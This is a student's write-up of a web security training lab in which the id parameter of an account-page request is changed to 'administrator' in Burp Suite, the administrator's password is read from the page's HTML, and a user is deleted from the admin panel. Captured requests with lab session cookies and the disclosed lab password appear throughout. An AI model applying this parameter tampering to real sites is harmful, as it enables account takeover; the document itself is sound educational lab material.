

Lab 9 - User ID controlled by request parameter with password disclosure.

Ahmed Khaled Saad Ali

ID:1809799

Lab Progress & Screenshots:

Logged in as wiener.

WebSecurity Academy

User ID controlled by request parameter with password disclosure

LAB Not solved

Back to lab description >>

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Email

Update email

Password

Update password

We find this request, with an identifier to the user of the logged in account.

DashboardTargetProxyIntruderRepeaterCollaboratorSequencerDecoder

InterceptHTTP historyWebSockets historyProxy settings

Request to https://0a5700df0381be9ac0604ff900e400d0.web-security-academy.net:443 [79.125.84.16]

ForwardDropIntercept is onActionOpen browser

PrettyRawHex

```
1 GET /my-account?id=wiener HTTP/2
2 Host: 0a5700df0381be9ac0604ff900e400d0.web-security-academy.net
3 Cookie: session=DbRQSaJlRwGGYf0xtP36tzvCxrLYR7fj
4 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ia
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0a5700df0381be9ac0604ff900e400d0.web-security-academy.net/my-account
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;q=0.9
```

We will take the request to the “Repeater” and change its “id” field to “administrator” and send request. We should get in the password in the response because it is displayed on the account page and as we know in HTML for input type password, its value is just right there in “value” field. We copy the password’s value.

The screenshot shows the Burp Suite interface with the 'Repeater' tab selected. The target URL is `https://0a5700df0381be9ac0604ff900e`. The request is a GET to `/my-account?id=administrator`. The response is an HTML page with a login form. A red arrow points to the password input field's value attribute in the response.

```
Request
1 GET /my-account?id=administrator HTTP/2
2 Host: 0a5700df0381be9ac0604ff900e400d0.web-security-academy.net
3 Cookie: session=D8R2GajLRwGTYf0ntP36envCxrLYR7fj
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium",v="111", "Not(A:Brand";v="8"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Windows"
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5662.65 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Referer: https://0a5700df0381be9ac0604ff900e400d0.web-security-academy.net/my-account?id=viener
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9

Response
56 </p>
57 <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
58 <label>
59 <input required type="email" name="email" value=""
60 <input required type="hidden" name="csrf" value="
61 SW6Fo5cHCrpW4yibqiflLVm3Vaxlu"
62 <button class="button" type="submit">
63 Update email
64 </button>
65 </form>
66 <form class="login-form" action="/my-account/change-password"
67 <input required type="hidden" name="csrf" value="
68 SW6Fo5cHCrpW4yibqiflLVm3Vaxlu"
69 <input required type="password" name="password" value="
70 S5v0Shnff98pqj1eqrg"/>
71 <button class="button" type="submit">
72 Update password
```

We login with administrator’s password.

The screenshot shows the Web Security Academy login page. The page title is "User ID controlled by request parameter with password disclosure". The login form has fields for Username (administrator) and Password (*****). A "Log in" button is at the bottom.

Web Security Academy

User ID controlled by request parameter with password disclosure

LAB Not solved

Back to lab description >>

Home | My account


Login

Username
administrator


Password

Log in

Administrator's account page accessed.

WebSecurity Academy 

User ID controlled by request parameter with password disclosure

LAB Not solved 

[Back to lab description >>](#)

[Home](#) | [Admin panel](#) | [My account](#) | [Log out](#)

My Account


Your username is: administrator

Email


Update email

Password

Admin panel accessed.

WebSecurity Academy 

User ID controlled by request parameter with password disclosure

LAB Not solved 


[Back to lab description >>](#)

[Home](#) | [Admin panel](#) | [My account](#)


Users

carlos - [Delete](#)
wiener - [Delete](#)

Carlos is deleted, Lab solved.

WebSecurity Academy 

User ID controlled by request parameter with password disclosure

LAB Solved 

[Back to lab description >>](#)

Congratulations, you solved the lab!

[Share your skills!](#) [Continue learning >>](#)

[Home](#) | [Admin panel](#) | [My account](#)

User deleted successfully!

Users

wiener - [Delete](#)

Lessons:

- 1) Don't simply include identifiers of a user in when he sends a request.
- 2) With minimal HTML knowledge, password's value was deduced from response.

